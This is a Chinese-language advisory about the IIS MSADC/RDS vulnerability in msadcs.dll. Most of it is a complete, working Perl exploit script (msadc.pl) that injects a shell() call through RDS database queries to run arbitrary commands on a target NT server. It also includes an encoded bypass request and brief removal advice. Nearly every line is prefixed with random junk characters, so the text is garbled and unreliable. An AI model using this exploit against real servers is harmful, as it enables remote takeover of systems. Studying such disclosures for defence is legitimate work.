IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
xi51,y+(5 Brts ig,4 涉及程序：
qk~m\U8r Microsoft NT server
n b<e<>L /#WvC;B 描述：
VV;%q3}: 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
C. BlB 6r|=^3{ 详细：
yk y% +@2q 如果你没有时间读详细内容的话，就删除:
#M%K82" c:\Program Files\Common Files\System\Msadc\msadcs.dll
oXjoQ 有关的安全问题就没有了。
}*
\ *<d
3 Ptz## o'{5 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
mC0_rN^Aj Fw\g \ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
@U3:9~Q 关于利用ODBC远程漏洞的描述，请参看:
ph}%Ay$ zuu<;^/R http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm U9ZuD40\ l A%FS]vh 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
7Db}bDU1
| http://www.microsoft.com/security/bulletins/MS99-025faq.asp ol lsB3]] c/Fgx/hr 这里不再论述。
0 N"N$f 'hE'h?-7 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
nY7gST Bn9#F#F< /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Q 0G5<:wc 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Y[l<fbh(} g<@Q)p*ow =z;]FauR! #将下面这段保存为txt文件，然后: "perl -x 文件名"
nK32or3 [G PCd@ #!perl
R# T
6] #
J5(0J 7C # MSADC/RDS 'usage' (aka exploit) script
[UXN=
76N #
hxzA1s%~ # by rain.forest.puppy
_p>F43%p #
_RzF h # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%3O))Ug5 # beta test and find errors!
-#v1/L/= ?JG^GD7D use Socket; use Getopt::Std;
YA@MLZm getopts("e:vd:h:XR", \%args);
Jz=|-F(Sy N8pV[\f print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S)g:+P {nXygg
J if (!defined $args{h} && !defined $args{R}) {
jQxhR print qq~
HCsd$M;Hbv Usage: msadc.pl -h <host> { -d <delay> -X -v }
<#J5.I 1 -h <host> = host you want to scan (ip or domain)
;DSH$'1i -d <seconds> = delay between calls, default 1 second
y=c={Qz@vn -X = dump Index Server path table, if available
`LNh amp -v = verbose
QyxUK}6mr -e = external dictionary file for step 5
mogmr 7*j!ZUzp Or a -R will resume a command session
:_ y!p >s 6ye ~; exit;}
~;?<OOt|wG (8aj`> y $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
S.4+tf 7+ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&&m3E=K!^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
gyD ;kn\CP if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-$?t+ "/E $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
]+46r!r| if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5VP 0Xa ~ =w}JAEE|(i if (!defined $args{R}){ $ret = &has_msadc;
1cv~_j Fh die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^~I@]5Pq l 9
wO x print "Please type the NT commandline you want to run (cmd /c assumed):\n"
$&&E[JY . "cmd /c ";
5?F5xiW $in=<STDIN>; chomp $in;
'UUj(1
f $command="cmd /c " . $in ;
@ J&korU }^iqhUvT F if (defined $args{R}) {&load; exit;}
.=9WY_@SZ $:%E<j 4Dn print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=qc+sMo &try_btcustmr;
w6Nn x5Ay yw$4Hlj5 print "\nStep 2: Trying to make our own DSN...";
(T0M Wp 0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
);':aX j DrKB ;6 print "\nStep 3: Trying known DSNs...";
}rI :pp^KS &known_dsn;
&}[P{53sr ghWWJx9 print "\nStep 4: Trying known .mdbs...";
RSe4 lw &known_mdb;
Za U8e g7 BaW4 s4u if (defined $args{e}){
')!X1A{ print "\nStep 5: Trying dictionary of DSN names...";
@U18Dj[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
A
$gn{ c F'b%D print "Sorry Charley...maybe next time?\n";
w+>+hq exit;
e ~'lWJD l>}f{az-T ##############################################################################
R8k4?_W?T S@qR~_>a sub sendraw { # ripped and modded from whisker
Mn(i Asg sleep($delay); # it's a DoS on the server! At least on mine...
7n6g;8xE my ($pstr)=@_;
v8 *)^-Fx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=K18| Q0m die("Socket problems\n");
KF00=HE|] if(connect(S,pack "SnA4x8",2,80,$target)){
N"G aQ select(S); $|=1;
q9_ $&9 print $pstr; my @in=<S>;
<kdlXS>J. select(STDOUT); close(S);
4_k N';a4Q return @in;
:${tts2g } else { die("Can't connect...\n"); }}
X8Q' *
X)[tb]U/Wx ##############################################################################
3{$7tck, D<;~eZ' sub make_header { # make the HTTP request
8^ >c_%e} my $msadc=<<EOT
#dj?^n g POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~_vSMX User-Agent: ACTIVEDATA
R,G*]/r` Host: $ip
Os@b8V 8,A Content-Length: $clen
>Ua'* Connection: Keep-Alive
Y@0'0 [ & n[p? ADCClientVersion:01.06
"0PrdZMx Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
~2"hh$ qK a}O* --!ADM!ROX!YOUR!WORLD!
^;RK-) Content-Type: application/x-varg
_ \6v @ Content-Length: $reqlen
t` "m@ Dz: +.
@k EOT
CpO_p%P ; $msadc=~s/\n/\r\n/g;
9p qsr~ return $msadc;}
3&+dyhL'w ;"Kgg:K>W ##############################################################################
> \ Dy \;)g<TwL sub make_req { # make the RDS request
H\R a*EO~j my ($switch, $p1, $p2)=@_;
t 1adS:)s my $req=""; my $t1, $t2, $query, $dsn;
x 3=1/#9 y|}~"^ +T if ($switch==1){ # this is the btcustmr.mdb query
Y pDJ(61+ $query="Select * from Customers where City=" . make_shell();
G kjfDY: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2+gbMd4n $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
cRVL1n e K:a8}w>Up elsif ($switch==2){ # this is general make table query
jr4xh {Z` $query="create table AZZ (B int, C varchar(10))";
?eIb7O $dsn="$p1";}
v.Ba Io]FDPN elsif ($switch==3){ # this is general exploit table query
~\_VWXXvIW $query="select * from AZZ where C=" . make_shell();
[CI&4) # $dsn="$p1";}
J:m/s9r f+^6.% elsif ($switch==4){ # attempt to hork file info from index server
OoSk ^U) $query="select path from scope()";
8%7%[WC# $dsn="Provider=MSIDXS;";}
KS$t ST*h{:u&A elsif ($switch==5){ # bad query
!4vb{AH $query="select";
Tn}`VW~ $dsn="$p1";}
}=^ ,c 9GD0jJEu $t1= make_unicode($query);
xm{]|~^JG $t2= make_unicode($dsn);
D~6[C:m $req = "\x02\x00\x03\x00";
=Z ^5'h~ $req.= "\x08\x00" . pack ("S1", length($t1));
-F ~DOG% $req.= "\x00\x00" . $t1 ;
%#x4 wi $req.= "\x08\x00" . pack ("S1", length($t2));
*,\"}x* $req.= "\x00\x00" . $t2 ;
LTWkHy x $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
!DZ=`a?y return $req;}
1INX#qTZ =Zq6iMD ##############################################################################
&kg^g%% qVn<c,8# sub make_shell { # this makes the shell() statement
Sa= tiOv return "'|shell(\"$command\")|'";}
~Ru\Z-q1 G(&[1V % x ##############################################################################
Qg *\aa94 S<i$0p8J; sub make_unicode { # quick little function to convert to unicode
PM\Ju] my ($in)=@_; my $out;
ra$:ibL N for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
W{}$c`,R return $out;}
<~ smBd (9]Uuvfp6" ##############################################################################
d &#_t@% +:FXtO>n" sub rdo_success { # checks for RDO return success (this is kludge)
ku]5sd >b my (@in) = @_; my $base=content_start(@in);
GE/! $3 if($in[$base]=~/multipart\/mixed/){
~:a1ELqVw return 1 if( $in[$base+10]=~/^\x09\x00/ );}
z#tIa return 0;}
y]j.PT`Cw *)Rm X$v3 ##############################################################################
)eyzHB,H * dB eb sub make_dsn { # this makes a DSN for us
Unk /uk my @drives=("c","d","e","f");
F9r.DG$} print "\nMaking DSN: ";
/ Q1*Vh4 foreach $drive (@drives) {
P(D>4/f3" print "$drive: ";
NHd@s#@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
T~[:oil "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
s@\3|e5g . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
t dm7MPM $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
"V|Rq]_+% return 0 if $2 eq "404"; # not found/doesn't exist
C >*z^6Gz if($2 eq "200") {
l/N<'T_G foreach $line (@results) {
Q0xO;20 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
uavATnGO{B } return 0;}
N<)CG,/w[M yYCS-rF> ##############################################################################
V[tebv! "DW ~E\Y sub verify_exists {
!nBbt?* my ($page)=@_;
%SmOP sz my @results=sendraw("GET $page HTTP/1.0\n\n");
z= D5* return $results[0];}
C>Ik ; WyO*8b_
D ##############################################################################
=6sP`: [DaAvN^0A sub try_btcustmr {
Yk Ku4f my @drives=("c","d","e","f");
#w{`6}p my @dirs=("winnt","winnt35","winnt351","win","windows");
#/G!nN # n`5Nf foreach $dir (@dirs) {
uKJ:)oyaCP print "$dir -> "; # fun status so you can see progress
S@qPf0dL< foreach $drive (@drives) {
i 8s v,P print "$drive: "; # ditto
aq?bI: >8 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
G@7^M} $reqlenlen=length( "$reqlen" );
bQaRl=:[: $clen= 206 + $reqlenlen + $reqlen;
i2qN 0?n q%3VcR$J my @results=sendraw(make_header() . make_req(1,$drive,$dir));
IL@y GuO, if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
.eJKIck else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Th ggas , 7U [C=NL ##############################################################################
M^kaik $JF jR@ j sub odbc_error {
=D(a~8&, my (@in)=@_; my $base;
ufL,K q4 my $base = content_start(@in);
]j&m\'-s if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
q`e0%^U $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,+i^]yF3j $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
| R,dsBd $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ab$E@H # return $in[$base+4].$in[$base+5].$in[$base+6];}
^*P?gG print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
fk}Raej g print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
c^|8qvS $ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
+Nn >*sz :DH@zR ##############################################################################
X_PzK'#m HYl+xH'.j sub verbose {
O@$>'Z my ($in)=@_;
K'&,]r# return if !$verbose;
: V9Q<B^ print STDOUT "\n$in\n";}
8r( Vz Sq Az(( ##############################################################################
JQ+Mg& &Q Trirb'qO sub save {
HS=w9:, my ($p1, $p2, $p3, $p4)=@_;
\KV.lG! open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&OU.BR > print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
} w f8y close OUT;}
U`*we43 I]ej ]46K ##############################################################################
h#zm+( [B* m0G"Aj sub load {
)=)N9C Ry my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:lu!%p<$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
X0*+]tRg @p=<IN>; close(IN);
H [+'>Id: $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Kj0)/Fjl+ $target= inet_aton($ip) || die("inet_aton problems");
c<1$ zQY! print "Resuming to $ip ...";
1^k}GXsWmE $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Rr LiH> if($p[1]==1) {
:$Cm]RZ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
9No6\{ [M
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+HE,Q6-A my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
rT="ciQ if (rdo_success(@results)){print "Success!\n";}
!d##q)D
f? else { print "failed\n"; verbose(odbc_error(@results));}}
R/{h4/+vJ elsif ($p[1]==3){
x.gz sd if(run_query("$p[3]")){
I85wP}c( print "Success!\n";} else { print "failed\n"; }}
Xz AXcxC6G elsif ($p[1]==4){
$ (& uaDYv if(run_query($drvst . "$p[3]")){
^(Gl$GC$Mu print "Success!\n"; } else { print "failed\n"; }}
ygTfQtN exit;}
]FR#ZvM>x !UzE&CirV ##############################################################################
py$Gy-I~[ `y'%dY}$ n sub create_table {
0o/;cBH
my ($in)=@_;
o=VZ7] $reqlen=length( make_req(2,$in,"") ) - 28;
F]OWqUV $reqlenlen=length( "$reqlen" );
T #E {d $clen= 206 + $reqlenlen + $reqlen;
eI|FrBq% my @results=sendraw(make_header() . make_req(2,$in,""));
X' d\b}Bm return 1 if rdo_success(@results);
KMT$/I{p , my $temp= odbc_error(@results); verbose($temp);
s\ .r3U&6 return 1 if $temp=~/Table 'AZZ' already exists/;
,>6mc=p return 0;}
c'$y_] :MDFTw~ | ##############################################################################
w[ 2E:Nj 6@Q; LV+ sub known_dsn {
b?k,_; \ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
P w6l' my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Fkv284,LM "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
QP%AJ[3ea% "banner", "banners", "ads", "ADCDemo", "ADCTest");
@>`N%wH' ^Oj^7.T+ foreach $dSn (@dsns) {
ZrYRL g print ".";
1xx TI{'g[ next if (!is_access("DSN=$dSn"));
aV f sF|, if(create_table("DSN=$dSn")){
xqT} 9, print "$dSn successful\n";
9 'X "a if(run_query("DSN=$dSn")){
x+sSmW print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*`s*l+0b print "Something's borked. Use verbose next time\n";}}} print "\n";}
B <Jxj _576Qa'rm ##############################################################################
yFo8 x[ i&HU7mP/ sub is_access {
:hHKm|1FE my ($in)=@_;
'<"%>-^Gn $reqlen=length( make_req(5,$in,"") ) - 28;
z'Bvjul $reqlenlen=length( "$reqlen" );
n~ ,6!S $clen= 206 + $reqlenlen + $reqlen;
y] Q/(O my @results=sendraw(make_header() . make_req(5,$in,""));
jp-(n z\ my $temp= odbc_error(@results);
c3fd6 Je5 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
p E1uD4lLb return 0;}
vSQB~Vw8 t 7x*L 1>[`' ##############################################################################
dn5t7D^ x MNfc1I_# sub run_query {
m=` V my ($in)=@_;
wC1) \ld $reqlen=length( make_req(3,$in,"") ) - 28;
,[n=PJV w/ $reqlenlen=length( "$reqlen" );
7CT446 $clen= 206 + $reqlenlen + $reqlen;
*E@as my @results=sendraw(make_header() . make_req(3,$in,""));
_=w=!U &W return 1 if rdo_success(@results);
c:DV8'fT my $temp= odbc_error(@results); verbose($temp);
N,)rrBD return 0;}
ZA4sEVHW BQMo*I>I ##############################################################################
LNgFk%EH qE^u{S4Z@ sub known_mdb {
2J (,Xf my @drives=("c","d","e","f","g");
Ze`ms96j{ my @dirs=("winnt","winnt35","winnt351","win","windows");
?AQR\) P my $dir, $drive, $mdb;
voN, u>U my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O|;|7fCB\ : 2L-Nf # this is sparse, because I don't know of many
e ~G IUwJ my @sysmdbs=( "\\catroot\\icatalog.mdb",
P+p:Ed 80 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
QswFISch "\\system32\\certmdb.mdb",
o`jV d,aj "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
BBoVn^Z*R e<{Ani0 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9@(V!G "\\cfusion\\cfapps\\forums\\forums_.mdb",
pr"q-S>E "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
c"'JMq "\\cfusion\\cfapps\\security\\realm_.mdb",
GQkI7C "\\cfusion\\cfapps\\security\\data\\realm.mdb",
EU7mP
MxJ "\\cfusion\\database\\cfexamples.mdb",
]T<RC\o "\\cfusion\\database\\cfsnippets.mdb",
Yv;iduc(' "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
v~O2y>8Z "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
[ MM`#!K% "\\cfusion\\brighttiger\\database\\cleam.mdb",
S#D6mg$Z, "\\cfusion\\database\\smpolicy.mdb",
_'r&'s;<z "\\cfusion\\database\cypress.mdb",
{NIE:MXX "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
LZpqv~av "\\website\\cgi-win\\dbsample.mdb",
J16(d+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
'k$j^ |r> "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_nW#Cl~ ); #these are just
&C E){j C foreach $drive (@drives) {
W GMEZx foreach $dir (@dirs){
,3ivB8 foreach $mdb (@sysmdbs) {
nrZZk QNI print ".";
c (S66lp if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
"Kn%|\YL@4 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
wtro'r3 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
oGZ%w4T print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
/`B:F5 r } else { print "Something's borked. Use verbose next time\n"; }}}}}
SxRa?5 .{#J2}+[_} foreach $drive (@drives) {
&qFy$`" foreach $mdb (@mdbs) {
t'P n* print ".";
Bt-2S,c,o if(create_table($drv . $drive . $dir . $mdb)){
*1b)Va8v* print "\n" . $drive . $dir . $mdb . " successful\n";
)1 !*N )$ if(run_query($drv . $drive . $dir . $mdb)){
[,ns/*f3R print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
^5*9BwH ` } else { print "Something's borked. Use verbose next time\n"; }}}}
h.h\)> DM@ }
dX~$#-Ad86
U>
1v oc ##############################################################################
sq' bo8r KP]{=~ ( sub hork_idx {
],ISWb print "\nAttempting to dump Index Server tables...\n";
} EWPLJA print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-]~vE fq+T $reqlen=length( make_req(4,"","") ) - 28;
0)-yLfTn $reqlenlen=length( "$reqlen" );
m&8'O\$ $clen= 206 + $reqlenlen + $reqlen;
r(cd?sL96R my @results=sendraw2(make_header() . make_req(4,"",""));
(\NZ)Ys if (rdo_success(@results)){
9TbRrS09 my $max=@results; my $c; my %d;
t5WW3$Nf for($c=19; $c<$max; $c++){
;JQ;LbEn $results[$c]=~s/\x00//g;
p{4nWeH?B $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
UB1/0o $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
s: \FlQ0 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
;sn]Blp q $d{"$1$2"}="";}
u IGeSd5B foreach $c (keys %d){ print "$c\n"; }
\$[S=&E } else {print "Index server doesn't seem to be installed.\n"; }}
W~FM^xR?p EG [Rda ##############################################################################
g
O ;oM?| &C=[D _h sub dsn_dict {
]728x["(19 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
+&h<:/ V while(<IN>){
;/g Bjp]H $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
aoVfvz2Y next if (!is_access("DSN=$dSn"));
W #kOcw if(create_table("DSN=$dSn")){
JQ)w/@Vu= print "$dSn successful\n";
?B~S4:9 if(run_query("DSN=$dSn")){
kls
6Dk# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&!5S'J % print "Something's borked. Use verbose next time\n";}}}
w4e(p 3 print "\n"; close(IN);}
Wc
q UF"A +:?"P<' ##############################################################################
w z=c#}0dB ~*Kk+w9H< sub sendraw2 { # ripped and modded from whisker
ii :E>O(0B sleep($delay); # it's a DoS on the server! At least on mine...
G :JQ _w my ($pstr)=@_;
U}2b{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ny{Yr>:2 die("Socket problems\n");
XIJW$CY if(connect(S,pack "SnA4x8",2,80,$target)){
U^.kp# x# print "Connected. Getting data";
(TJ )Y7E open(OUT,">raw.out"); my @in;
Xe7 / select(S); $|=1; print $pstr;
eQqx0+-0c while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
#.^A5` k close(OUT); select(STDOUT); close(S); return @in;
(!B1} 5" } else { die("Can't connect...\n"); }}
)UgLs|G~ yO`HL'SMo ##############################################################################
C=>IJ'G *kE<7 sub content_start { # this will take in the server headers
tlJ@@v&= my (@in)=@_; my $c;
q71 ~Y:7f for ($c=1;$c<500;$c++) {
L6=`x a, if($in[$c] =~/^\x0d\x0a/){
l OuO~`,J if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
`8sC>)lrwu else { return $c+1; }}}
70BLd(? return -1;} # it should never get here actually
'Wz`P#/ e;G}T%W ##############################################################################
1 ms(03dp qRnD{g|{1 sub funky {
gJC~$/2 my (@in)=@_; my $error=odbc_error(@in);
"|KhqV=?v if($error=~/ADO could not find the specified provider/){
z IT)Hs5 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
}lP'bu exit;}
J70r` if($error=~/A Handler is required/){
C_ 4(- OWq print "\nServer has custom handler filters (they most likely are patched)\n";
}s++^uX6 exit;}
9 m`VIB if($error=~/specified Handler has denied Access/){
Z]\VOA> print "\nServer has custom handler filters (they most likely are patched)\n";
&kp`1kv": exit;}}
Q^! x8oUF l}MVk%[ ##############################################################################
8%Eau wAx #<*=) [ sub has_msadc {
'YTSakNJ} my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
QRK r2:o{ my $base=content_start(@results);
D@
4sq^|2 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3F ]30 return 0;}
x=%wP VJ DO{Lj# @ ########################
!/RL.`!> _my!YS5n tR`^c 8gD 解决方案：
@D@_PA)e( 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
V+Y; 2、移除web 目录: /msadc
